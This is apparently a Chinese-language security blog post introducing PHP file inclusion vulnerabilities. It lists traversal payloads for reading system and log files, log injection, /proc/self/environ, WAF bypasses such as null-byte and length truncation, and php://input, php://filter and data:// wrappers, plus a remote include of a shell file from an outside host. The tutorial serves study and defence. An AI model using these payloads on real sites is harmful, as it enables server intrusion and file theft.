文件包含初探

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
考虑常用的几种包含方式为
- 同目录包含
file=.htaccess
- 目录遍历
?file=../../../../../../../../../var/lib/locate.db
- 日志注入
?file=../../../../../../../../../var/log/apache/error.log
- 利用
/proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
触发Sink
- PHP
- include
在包含过程中出错会报错,不影响执行后续语句 - include_once
仅包含一次 - require
在包含过程中出错,就会直接退出,不执行后续语句 - require_once
仅包含一次
- include
Bypass
常见的应用在文件包含之前,可能会调用函数对其进行判断
url编码绕过
如果WAF中是字符串匹配,可以使用url多次编码的方式绕过
特殊字符绕过
某些情况下,读文件支持使用Shell通配符,如 ? * 等
url中 使用 ? # 可能会影响include包含的结果
某些情况下,unicode编码不同但是字形相近的字符有同一个效果
%00截断
几乎最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。
长度截断
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
伪协议绕过
- 远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , payload为 ?file=(http|https|ftp)://websec.wordpress.com/shell.txt 的形式
- PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
- Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
- data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On
协议绕过
allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
Reference
- Title: 文件包含初探
- Author: 7erry
- Created at : 2023-08-23 00:00:00
- Updated at : 2023-08-23 00:00:00
- Link: http://7erry.com/2023/08/23/文件包含初探/
- License: This work is licensed under CC BY-NC 4.0.